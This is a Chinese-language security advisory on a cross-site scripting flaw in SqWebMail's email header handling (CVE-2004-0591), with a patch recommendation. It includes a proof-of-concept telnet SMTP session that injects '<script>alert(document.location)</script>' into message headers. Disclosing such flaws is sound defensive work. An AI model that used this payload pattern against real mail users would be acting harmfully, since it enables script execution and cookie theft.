首页 -> 安全研究

安全研究

安全漏洞
SqWebMail Email头字段HTML注入漏洞

发布日期:2004-06-21
更新日期:2004-06-29

受影响系统:
inter7 SqWebMail 4.0.4.20040524
不受影响系统:
inter7 SqWebMail 4.0.5
描述:
BUGTRAQ  ID: 10588
CVE(CAN) ID: CVE-2004-0591

SqWebMail是一款基于WEB的邮件系统。

SqWebMail不正确过滤用户提供的EMAIL头字符串,远程攻击者可以利用这个漏洞进行跨站脚本攻击,获得敏感信息。

攻击者发送的一个EMAIL消息如果在头字段包含类似如下的HTML代码:

"<script>alert(document.location)</script>":

ashanti@dns:~$ telnet localhost 25
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
220 x.x.x.x ESMTP
helo foo
250 x.x.x.x
mail from:<test test com>
250 ok
rcpt to:<user mediaservice net>
250 ok
data
354 go ahead
<script>alert(document.location)</script>
.
[...]

当目标用户查看时可导致恶意脚本代码在用户浏览器上执行,泄露基于验证的COOKIE等信息。

另外攻击者也可以发送MIME Content-Type字段中设置畸形内容的"message/delivery-status",也可能触发漏洞。

<*来源:Luca Legato (luca.legato@mediaservice.net
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108786212220140&w=2
*>

建议:
厂商补丁:

inter7
------
目前厂商已经在4.0.5版本的软件中修复这个安全问题,请到厂商的主页下载:

http://www.inter7.com/sqwebmail/sqwebmail.html

浏览次数:2979
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障